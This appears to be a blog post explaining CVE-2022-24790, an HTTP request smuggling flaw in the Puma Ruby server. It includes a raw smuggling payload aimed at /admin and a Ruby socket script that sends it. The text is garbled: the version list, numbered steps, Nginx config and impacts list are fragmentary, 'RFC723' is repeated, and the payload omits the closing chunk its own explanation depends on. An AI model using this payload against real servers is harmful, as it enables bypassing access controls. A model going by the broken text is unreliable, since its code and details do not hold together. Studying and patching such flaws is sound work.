Puma is a popular, high-performance HTTP Server widely used to run Ruby and Rails applications. Its speed, multi-threading capability, and ease of use have made it a default choice for many developers. However, security researchers disclosed a critical vulnerability in Puma—tracked as CVE-2022-24790—that could allow attackers to "smuggle" HTTP requests through improperly validated front-end proxies. This long-read post will break down what this means, show how the bug works, ways to fix it, and why you should care.
What is CVE-2022-24790?
In plain English, CVE-2022-24790 is a HTTP request smuggling vulnerability in Puma. If your Puma-powered web app sits behind a proxy (like Nginx, HAProxy, or others), and that proxy doesn't strictly follow the HTTP RFC723 specs, a malicious client can craft special HTTP requests that slip past your proxy. That allows attackers to "smuggle" extra requests to Puma—which can lead to hijacked sessions, security bypasses, or data leaks.
Puma < 4.3.12
Fix: Upgrade to Puma 5.6.4 or 4.3.12 and above.
How Request Smuggling Works (Simply Explained)
HTTP request smuggling takes advantage of the fact that sometimes, web servers and proxies see incoming HTTP requests differently. If they disagree about where a request ends, attackers can hide ("smuggle") an extra request inside another. This can break the trust model that proxies provide and let bad guys sneak in malicious payloads.
Example Scenario
1. Proxy receives a request with a slightly "off" format (e.g., using both Content-Length: and Transfer-Encoding: chunked headers in unexpected ways).
Proxy thinks the request ends at one spot, and forwards what it *thinks* is a valid request to Puma.
3. Puma disagrees on the boundary, sees an extra request embedded inside, and processes it as if it was a new, valid user request.
This confusion allows attackers to inject, manipulate, or replay requests under the radar.
Exploit Details: What a Simple Attack Looks Like
Suppose you use Nginx as your proxy, forwarding requests to Puma, and both are running on their default configs.
Malicious Client Sends
POST / HTTP/1.1
Host: vulnerable-app.com
Content-Length: 13
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: vulnerable-app.com
Proxy (e.g., Nginx): Might process only the first part, stops at the empty chunk, sends to Puma.
- Puma: Sees both requests—POST / and GET /admin—and processes both.
If /admin is a sensitive route, the attacker may access it without proper authentication.
Here’s a simple Ruby script that sends a request-smuggling payload to a vulnerable Puma server
require 'socket'
host = 'localhost'
port = 9292
payload = <<~HTTP
POST / HTTP/1.1
Host: #{host}
Content-Length: 13
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: #{host}
HTTP
socket = TCPSocket.new(host, port)
socket.write(payload)
response = socket.read
puts response
socket.close
Note: This is for education/testing only. Never use this on non-owned systems.
Check Your Proxy Configuration
If you must use an older Puma, configure your proxy (Nginx, HAProxy, etc.) to validate that requests strictly follow RFC723. This usually involves *disabling* any option that allows "lenient" parsing, and enabling strict request validation.
client_header_buffer_size 1k;
}
More Info & References
- Puma Security Advisory (GHSA-684h-xvmv-c3g2)
- Official CVE Report
- RFC723: HTTP/1.1 Message Syntax and Routing
Leak sensitive data
- Poison cache/proxy
Cause other downstream attacks
Puma is super popular in the Ruby and Rails community. If you run websites or APIs, never ignore proxy+backend disagreements. Always upgrade ASAP and keep your stack patched!
Stay secure. 💻🛡️
*(Exclusive, original explanation by ChatGPT—feel free to share with your team!)*
Timeline
Published on: 03/30/2022 22:15:00 UTC
Last modified on: 08/27/2022 21:15:00 UTC